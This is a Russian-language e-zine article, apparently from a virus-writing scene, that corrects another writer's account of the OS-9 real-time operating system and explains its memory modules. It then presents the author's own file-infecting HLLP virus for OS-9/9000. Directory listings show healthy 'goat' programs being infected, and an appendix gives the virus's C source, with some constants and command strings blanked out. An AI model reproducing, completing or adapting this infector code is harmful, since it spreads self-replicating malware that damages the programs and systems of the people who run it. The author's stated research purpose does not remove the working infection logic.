ZF

                     ЧЕТЫРЕУС ДЛЯ ОСЬ МИНУС ДЕВЯТЬ
                               by DrMAD

    Просматривая 4-й  выпуск  электронного  журнала  x25  (посвященного
сетевым unix -технологиям), я вздрогнул, встретив знакомое наименование
операционной системы:  OS-9.  Дело в том,  что лет 7-8 назад я довольно
активно и серьезно прогал в этой системе,  потом  часто  сталкивался  с
необходимостью  работы  в  ней  года  примерно  до  2000,  и до сих пор
сохранил о ней самые романтичные воспоминания.  Я про нее  даже  книжку
написал /1/. J
    Итак, вот что я увидел в этой статье (автор - madcr) :

    Что такое os9 ?  os9 является осью реального времени для  68xxx
    процессоров  созданная  непосредственно  компаниями microware и
    motorola в 1979 году.  Версия  которую  мы  рассмотрим  в  этой
    статье  -  os9  level  II,  в  нашем случае работающую на 68030
    процессоре.  В настоящее время  os9  переродилась  в  os9000  и
    работает  на  ppc  и  x86  процах,  но,  как я сказал выше,  мы
    рассмотрим более древнюю os9,  которая до сих пор  используется
    для  разных нужд...

    Все немножко совсем не так.  J OS-9 - действительно многозадачная
операционная   система   реального   времени   от   фирмы    Microware,
оптимизированная  для использования в системах автоматизации. Но это не
клон  UNIX!  Авторы  операционной  системы  обеспечили   лишь   внешнюю
похожесть  своей  системы  на  UNIX (иерархичность  файловой структуры,
названия системных утилит,  названия Си-шных функций в API и т.п.),  но
внутренняя архитектура у OS9 - своя, абсолютно оригинальная.
    Первоначально OS-9 была ориентирована на процессоры MC 68K,  но  на
рубеже  80-90-х  годов  появилась  разновидность под названием OS-9000,
ориентирванная  на  i80x86.  С  точки  зрения  юзера  или   прикладного
программиста  OS-9  и  OS-9000 - это одна и та же операционная система:
одинаковое поведение,  одинаковый внешний интерфейс (командная строка),
одинаковые   системные   утилиты,   одинаковое  распределение   памяти,
одинаковая  файловая  система,  одинаковые  исходные  тесты   программ.
Работая  в OS-9,  можно компилировать свои программы в машинный код для
OS-9000 и наоборот. Обычно программировать приходится на Си, мне больше
по  душе  простенький  "OS-9  C compiler",  хотя много лет уже основным
средством программирования считается мощный оптимизирующий  "OS-9 Ultra
C/C++  compiler".   Лет   5   назад   произошло  обратное  слияние, оба
варианта операционной системы снова носят название OS-9.
    OS-9/9000 -  конфигурируемая  система.  Это  очень   компактное   и
быстродействующее  ядро,  которое  можно  обвешать  минимальным набором
драйверов  и  закачать  через  RS-232  в  память  крохотного   дешевого
микроконтроллера. А можно завалить компиляторами, отладчиками, хелпами,
системными утилитами,  графической  оболочкой  X-Window  и  работать  в
полном комфорте, попивая чаек и попаривая ноги в тазике.
    Одна из интересных особенностей OS-9  -  поддержка  модулей  памяти
(memory  module).  Все  компоненты  операционной  системы  организуются
именно в виде модулей.
    Прикладная программа  -  это модуль.  Драйвер внешнего устройства -
это модуль. Дескриптор внешнего устройства (набор данных, не содержащий
кода,   а  только  ресурсы)  -  модуль.  Фрагмент  оперативной  памяти,
зафиксированный в ней постоянно и служащий  для  обмена  данными  между
процессами - тоже модуль.
    Структура модуля /2/:

                  +-----------------------------------+
                  | Заголовок:                        |
                  |  - сигнатура;                     |
                  |  - имя модуля;                    |
                  |  - длина модуля;                  |
                  |  - флаги дуступа;                 |
                  |  - тип содержимого;               |
                  |  - адреса фрагментов содержимого; |
                  |  - контрольная сумма заголовка;   |
                  |  - прочая служебная инфа.         |
                  +-----------------------------------+
                  |                                   |
                  |             Содержимое            |
                  |                                   |
                                   . . .
                  |                                   |
                  +-----------------------------------+
                  |           CRC содержимого         |
                  +-----------------------------------+

    Разумеется, еще  8  лет  назад  я  написал  несколько  вирусов  для
OS-9/9000! J
    Вот исходник одного из самых простых.  Это примитивный  HLLP-вирус,
он заражает все найденные программные модули в текущем каталоге данных.
Кстати,  в OS-9 поддерживаются два  РАЗНЫХ  текущих  каталога:  текущий
каталог  данных  и  текущий  каталог  исполняемых  программ.  Они могут
отображаться в одно и тоже место, а могут и в разные.
    Этот вирус "пожирает" свою  жертву:  помещает  ее  в  свою  область
глобальных данных, а при необходимости "отрыгивает" в файл со случайным
именем, запускает, а потом снова удаляет.
    Бинарник, конечно же,  не прилагается.  Его просто  не  осталось  в
природе, и  восстанавливать  его  у меня нет желания.  А скомпилировать
исходник, не  имея  OS-9/9000  и  моих советов, вам вряд ли удастся. По
крайней мере, как я обошелся с CRC - пусть останется моим ноу-хау. J
    Впрочем, у меня полная и официальная версия, а вы можете залезть на 
http:\\www.microware.com  и  заказать себе бесплатный CD с демоверсиями 
компиляторов,  кросс-оболочек  и  возможностью сделать себе загрузочную 
дискетку OS-9.   

    Исходное состояние каталога:

 Owner    Last modified    Attributes     Block  Bytecount Name
-------   ------------- ---------------- ------- --------- ----
  0.0     79/12/31 1802 -------------ewr    3DA1      6020 goat
  0.0     79/12/31 1821 -------------ewr    3E3F     25978 virus

    После запуска вируса. Видно, что goat "поправился" на 19Кб:

 Owner    Last modified    Attributes     Block  Bytecount Name
-------   ------------- ---------------- ------- --------- ----
  0.0     79/12/31 1813 -------------ewr    3DA1     25978 goat
  0.0     79/12/31 1813 -------------ewr    3E3F     25978 virus

    Теперь копируем в каталог здоровенький goat2:

 Owner    Last modified    Attributes     Block  Bytecount Name
-------   ------------- ---------------- ------- --------- ----
  0.0     79/12/31 1813 -------------ewr    3DA1     25978 goat
  0.0     79/12/31 1802 -------------ewr    3DD3      6020 goat2
  0.0     79/12/31 1813 -------------ewr    3E3F     25978 virus

    И запускаем зараженный goat, теперь заражены все:

 Owner    Last modified    Attributes     Block  Bytecount Name
-------   ------------- ---------------- ------- --------- ----
  0.0     79/12/31 1814 -------------ewr    3DA1     25978 goat
  0.0     79/12/31 1814 -------------ewr    3DD3     25978 goat2
  0.0     79/12/31 1814 -------------ewr    3E3F     25978 virus

    Voila, жизнеспособнось вируса доказана!

    Собственно говоря,  этот  вирус  -  один  из экспонатов моей личной
коллекции вирусов, работающих в самых экзотических программно-аппаратных
средах.  Эта  коллекция  изредка  пополняется  и служит фактологической
основой  для  довольно  серьезных  исследований,  посвященных  вопросам
безопасности  в  системах промышленной автоматизации.  По крайней мере,
пара "бумажных" статей в разных  сборниках  на  эту  тему  у  меня  уже
имеется.
    Поэтому прошу 273-ю статью на меня не катить! J

    ЛИТЕРАТУРА

    1. Баландин  А.В.,  Климентьев  К.Е.  Устройство и функционирование
операционной системы реального времени OS-9/9000. / Самара: Университет
Наяновой, 1996. - 101 с.
    2. OS-9000 Technical Manual. Version 2.2.

    ПРИЛОЖЕНИЕ. Исходник вируса (даже не пытайтесь компилировать !!!).

/* Simple virus for OS-9/9000, (c) 1996 */
#include <stdio.h>
#include <dir.h>
#include <modes.h>
#include <time.h>
#include <module.h>
#include <reg386.h>

#define MAXLEN  ?????
#define SELFLEN ?????
#define GOATPOS ?????

DIR *d;
mh_com *m;
struct direct *de;
char *selfname;
char rndname[9];
int  f, f2;
time_t t;
unsigned char *buf, *buf2;
int  q, q1, q2;
int  i, j;
char fstr[]={"??????????????????????"};
char dstr[]={"??????????????????????"};
unsigned char buf1[MAXLEN]={"???????"}; /* Here's the goat file */

void infect(s) char *s;
  {
  if (s[0]=='.') return;

  if ((f = open(s, S_IREAD|S_IWRITE))==-1) return;
  if ((q = read(f, buf, MAXLEN))==MAXLEN) return;
  if ((m->m_sync!=0x4AFC)&&(m->m_sync!=0x4AFD)) { close(f); return; }
  if ((buf[0x50]=='v')&&
      (buf[0x51]=='i')&&
      (buf[0x52]=='r')&&
      (buf[0x53]=='u')&&
      (buf[0x54]=='s'))  { close(f); return; }
  lseek(f, 0, 0);
  if ((q1 = write(f, buf2, SELFLEN))==-1) { close(f); return; }
  lseek(f, GOATPOS, 0);
  if ((q1 = write(f, buf, q))==-1) { close(f); return; }
  close(f);

  i=0; while (s[i]) fstr[i+10]=s[i++]; fstr[i+11]='\0';
  system(fstr);
  }

main(argn, args) int argn; char *args[];
  {
   selfname = args[0];
   if ((m = (mh_com *) (buf = (unsigned char *) malloc(MAXLEN)))==NULL) return 1;
   if ((buf2 = (unsigned char *) malloc(SELFLEN))==NULL) return 2;
   if ((d = opendir("."))==NULL) return 3;

   if ((f2 = open(selfname, S_IREAD))==-1) return 4;
   if ((q2 = read(f2, buf2, SELFLEN))==-1) { close(f2); return 5; };
   close(f2);
   rewinddir(d);
   while ((de = readdir(d)) != NULL) infect(de->d_name);
   free(buf); free(buf2);

   m = (mh_com *) buf1;
   if ((m->m_sync==0x4AFC)||(m->m_sync==0x4AFD)) /* Is here goat? */
    {
      time(&t);
      for (i=0;i<8;i++)
       {
        rndname[i] = 'a' + t%27;
        t = t/2;
       }
      rndname[8]='\0';
      if ((f2 = create(rndname,
                       S_IREAD|S_IWRITE,
                       S_IREAD|S_IWRITE|S_IEXEC))==-1) return 6;
      if ((q2==write(f2, buf1, m->m_size ))==-1) { close(f2); return 7; };
      close(f2);

      os9fork( rndname, "", 0, 40000, 0, 0, 0 );
      wait(0);

      i=0; while (rndname[i]) dstr[i+4]=rndname[i++]; dstr[i+5]='\0';
      system(dstr);
    }

  }


(C) NF, 1998-2004